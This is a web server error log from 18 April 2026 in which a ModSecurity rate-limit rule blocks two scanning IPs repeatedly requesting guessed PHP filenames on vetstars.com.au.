[Sat Apr 18 00:01:12.035020 2026] [:error] [pid 61523:tid 61552] [client 20.203.143.130:55097] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJZSMOaH-Pgc7WEf4MRJwAAAco"]
[Sat Apr 18 00:01:13.369783 2026] [:error] [pid 34273:tid 34298] [client 20.203.143.130:21823] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "aeJZSWuQDW686mK3dgEz4AAAAZc"]
[Sat Apr 18 00:01:14.033774 2026] [:error] [pid 61523:tid 61548] [client 20.203.143.130:55672] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "aeJZSsOaH-Pgc7WEf4MRKwAAAcY"]
[Sat Apr 18 00:01:14.769723 2026] [:error] [pid 25010:tid 25025] [client 20.203.143.130:56848] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "aeJZSo-7kkf42RarqQ2XjQAAAUw"]
[Sat Apr 18 00:01:15.886441 2026] [:error] [pid 9263:tid 9265] [client 20.203.143.130:55622] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "aeJZSxP68VyHNvj1e56pMAAAAMA"]
[Sat Apr 18 00:01:16.922091 2026] [:error] [pid 51878:tid 51885] [client 20.203.143.130:21658] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e3.php"] [unique_id "aeJZTEnQhUtMbw9EsgbtjwAAAQU"]
[Sat Apr 18 00:01:17.984989 2026] [:error] [pid 51878:tid 51902] [client 20.203.143.130:21663] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e3.php"] [unique_id "aeJZTUnQhUtMbw9EsgbtkgAAARY"]
[Sat Apr 18 00:01:18.850473 2026] [:error] [pid 9263:tid 9271] [client 20.203.143.130:55066] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e3.php"] [unique_id "aeJZThP68VyHNvj1e56pOQAAAMY"]
[Sat Apr 18 00:01:20.265362 2026] [:error] [pid 9152:tid 9203] [client 20.203.143.130:21808] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e3.php"] [unique_id "aeJZUJJYca8I3TNCwIeSBAAAAE0"]
[Sat Apr 18 00:01:21.710991 2026] [:error] [pid 34273:tid 34282] [client 20.203.143.130:21675] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeJZUWuQDW686mK3dgEz4wAAAYc"]
[Sat Apr 18 00:01:23.623546 2026] [:error] [pid 51878:tid 51893] [client 20.203.143.130:12447] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeJZU0nQhUtMbw9EsgbtmwAAAQ0"]
[Sat Apr 18 00:01:26.003211 2026] [:error] [pid 9153:tid 9233] [client 20.203.143.130:12564] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeJZVuMHGxkTZX3c45cuOQAAAI8"]
[Sat Apr 18 00:01:28.459225 2026] [:error] [pid 51878:tid 51891] [client 20.203.143.130:55671] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeJZWEnQhUtMbw9EsgbtqgAAAQs"]
[Sat Apr 18 00:01:29.790456 2026] [:error] [pid 34273:tid 34277] [client 20.203.143.130:57131] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeJZWWuQDW686mK3dgEz6AAAAYI"]
[Sat Apr 18 00:01:33.762265 2026] [:error] [pid 51878:tid 51904] [client 20.203.143.130:55043] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeJZXUnQhUtMbw9EsgbtuQAAARg"]
[Sat Apr 18 00:01:35.758701 2026] [:error] [pid 61523:tid 61546] [client 20.203.143.130:12453] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeJZX8OaH-Pgc7WEf4MRXwAAAcQ"]
[Sat Apr 18 00:01:38.524046 2026] [:error] [pid 9153:tid 9241] [client 20.203.143.130:57093] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeJZYuMHGxkTZX3c45cuRAAAAJc"]
[Sat Apr 18 00:01:42.460969 2026] [:error] [pid 61523:tid 61557] [client 20.203.143.130:57132] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aeJZZsOaH-Pgc7WEf4MRZAAAAc8"]
[Sat Apr 18 00:01:47.600790 2026] [:error] [pid 9153:tid 9242] [client 20.203.143.130:53384] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aeJZa-MHGxkTZX3c45cuSwAAAJg"]
[Sat Apr 18 00:01:58.699070 2026] [:error] [pid 61523:tid 61547] [client 20.203.143.130:55584] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeJZdsOaH-Pgc7WEf4MRgwAAAcU"]
[Sat Apr 18 01:07:59.403983 2026] [:error] [pid 42442:tid 42458] [client 20.238.75.27:32093] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "aeJo7z4PBGqL_yqPJ8kgGgAAAQ4"]
[Sat Apr 18 01:08:08.281835 2026] [:error] [pid 59042:tid 59049] [client 20.238.75.27:24315] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "aeJo-J6p5oql0UklEBJJFAAAAAI"]
[Sat Apr 18 01:08:14.523723 2026] [:error] [pid 59043:tid 59079] [client 20.238.75.27:32090] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJo_oRtUGE9SfUh2wwP6gAAAEU"]
[Sat Apr 18 01:08:18.216875 2026] [:error] [pid 42442:tid 42446] [client 20.238.75.27:26089] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJpAj4PBGqL_yqPJ8kgSAAAAQI"]
[Sat Apr 18 01:08:20.848434 2026] [:error] [pid 59044:tid 59122] [client 20.238.75.27:8411] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJpBAFamkFyEtD_SMG7NAAAAJU"]
[Sat Apr 18 01:08:23.159014 2026] [:error] [pid 59042:tid 59056] [client 20.238.75.27:8441] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJpB56p5oql0UklEBJJMwAAAAk"]
[Sat Apr 18 01:08:27.669903 2026] [:error] [pid 63702:tid 63761] [client 20.238.75.27:32066] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "aeJpC8TL05PWYsKqTEYH8wAAAVQ"]
[Sat Apr 18 01:08:31.659112 2026] [:error] [pid 63702:tid 63750] [client 20.238.75.27:8435] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "aeJpD8TL05PWYsKqTEYH-gAAAUo"]
[Sat Apr 18 01:08:33.680978 2026] [:error] [pid 63702:tid 63760] [client 20.238.75.27:61221] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "aeJpEcTL05PWYsKqTEYIBgAAAVM"]
[Sat Apr 18 01:08:35.072648 2026] [:error] [pid 42442:tid 42448] [client 20.238.75.27:28566] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "aeJpEz4PBGqL_yqPJ8kgaQAAAQQ"]
[Sat Apr 18 01:08:36.317869 2026] [:error] [pid 59042:tid 59068] [client 20.238.75.27:24293] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "aeJpFJ6p5oql0UklEBJJSgAAABU"]
[Sat Apr 18 01:08:38.505948 2026] [:error] [pid 42442:tid 42456] [client 20.238.75.27:8843] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "aeJpFj4PBGqL_yqPJ8kgbgAAAQw"]
[Sat Apr 18 01:08:40.771563 2026] [:error] [pid 42442:tid 42464] [client 20.238.75.27:8869] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "aeJpGD4PBGqL_yqPJ8kgcQAAARQ"]
[Sat Apr 18 01:08:41.600320 2026] [:error] [pid 59044:tid 59101] [client 20.238.75.27:8343] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "aeJpGQFamkFyEtD_SMG7TAAAAIA"]
[Sat Apr 18 01:08:42.702248 2026] [:error] [pid 42442:tid 42459] [client 20.238.75.27:8601] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeJpGj4PBGqL_yqPJ8kgeQAAAQ8"]
[Sat Apr 18 01:08:45.584491 2026] [:error] [pid 59042:tid 59048] [client 20.238.75.27:8607] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeJpHZ6p5oql0UklEBJJYQAAAAE"]
[Sat Apr 18 01:08:47.318079 2026] [:error] [pid 42442:tid 42454] [client 20.238.75.27:28550] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeJpHz4PBGqL_yqPJ8kghQAAAQo"]
[Sat Apr 18 01:08:49.303782 2026] [:error] [pid 59043:tid 59086] [client 20.238.75.27:57610] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeJpIYRtUGE9SfUh2wwQCAAAAEw"]
[Sat Apr 18 01:08:51.059057 2026] [:error] [pid 63702:tid 63761] [client 20.238.75.27:64514] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aeJpI8TL05PWYsKqTEYIGgAAAVQ"]
[Sat Apr 18 01:08:52.707855 2026] [:error] [pid 59043:tid 59077] [client 20.238.75.27:8493] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aeJpJIRtUGE9SfUh2wwQDQAAAEM"]
[Sat Apr 18 01:08:54.054521 2026] [:error] [pid 42442:tid 42461] [client 20.238.75.27:8503] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aeJpJj4PBGqL_yqPJ8kgmQAAARE"]
[Sat Apr 18 01:11:37.576414 2026] [:error] [pid 59044:tid 59108] [client 20.238.75.27:65380] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "aeJpyQFamkFyEtD_SMG8DAAAAIc"]
[Sat Apr 18 01:11:38.434216 2026] [:error] [pid 59044:tid 59112] [client 20.238.75.27:28631] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "aeJpygFamkFyEtD_SMG8DQAAAIs"]
[Sat Apr 18 01:11:39.226585 2026] [:error] [pid 59042:tid 59049] [client 20.238.75.27:65405] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "aeJpy56p5oql0UklEBJKiQAAAAI"]
[Sat Apr 18 01:11:39.882201 2026] [:error] [pid 42442:tid 42465] [client 20.238.75.27:28621] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "aeJpyz4PBGqL_yqPJ8kirgAAARU"]
[Sat Apr 18 01:11:41.728481 2026] [:error] [pid 59136:tid 59160] [client 20.238.75.27:64948] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "aeJpzSaoiUyiIR3EhLW2sAAAANU"]
[Sat Apr 18 01:11:48.928041 2026] [:error] [pid 42442:tid 42464] [client 20.238.75.27:28634] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "aeJp1D4PBGqL_yqPJ8ki3QAAARQ"]
[Sat Apr 18 01:11:58.378888 2026] [:error] [pid 63702:tid 63764] [client 20.238.75.27:65381] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "aeJp3sTL05PWYsKqTEYJkwAAAVc"]
[Sat Apr 18 01:12:00.559848 2026] [:error] [pid 42442:tid 42451] [client 20.238.75.27:8687] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "aeJp4D4PBGqL_yqPJ8ki_gAAAQc"]
[Sat Apr 18 01:12:03.209013 2026] [:error] [pid 63702:tid 63761] [client 20.238.75.27:58373] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "aeJp48TL05PWYsKqTEYJmwAAAVQ"]
[Sat Apr 18 01:12:06.617967 2026] [:error] [pid 59043:tid 59090] [client 20.238.75.27:64928] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "aeJp5oRtUGE9SfUh2wwQkgAAAFA"]
[Sat Apr 18 01:12:07.219458 2026] [:error] [pid 59043:tid 59074] [client 20.238.75.27:9026] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "aeJp54RtUGE9SfUh2wwQlAAAAEA"]
[Sat Apr 18 01:12:07.904869 2026] [:error] [pid 59044:tid 59121] [client 20.238.75.27:28632] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "aeJp5wFamkFyEtD_SMG8JwAAAJQ"]
[Sat Apr 18 01:12:08.644583 2026] [:error] [pid 59044:tid 59106] [client 20.238.75.27:65364] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "aeJp6AFamkFyEtD_SMG8KgAAAIU"]
[Sat Apr 18 01:12:09.509414 2026] [:error] [pid 59044:tid 59122] [client 20.238.75.27:64899] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "aeJp6QFamkFyEtD_SMG8LAAAAJU"]
[Sat Apr 18 01:12:10.792578 2026] [:error] [pid 59043:tid 59087] [client 20.238.75.27:8981] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "aeJp6oRtUGE9SfUh2wwQoQAAAE0"]
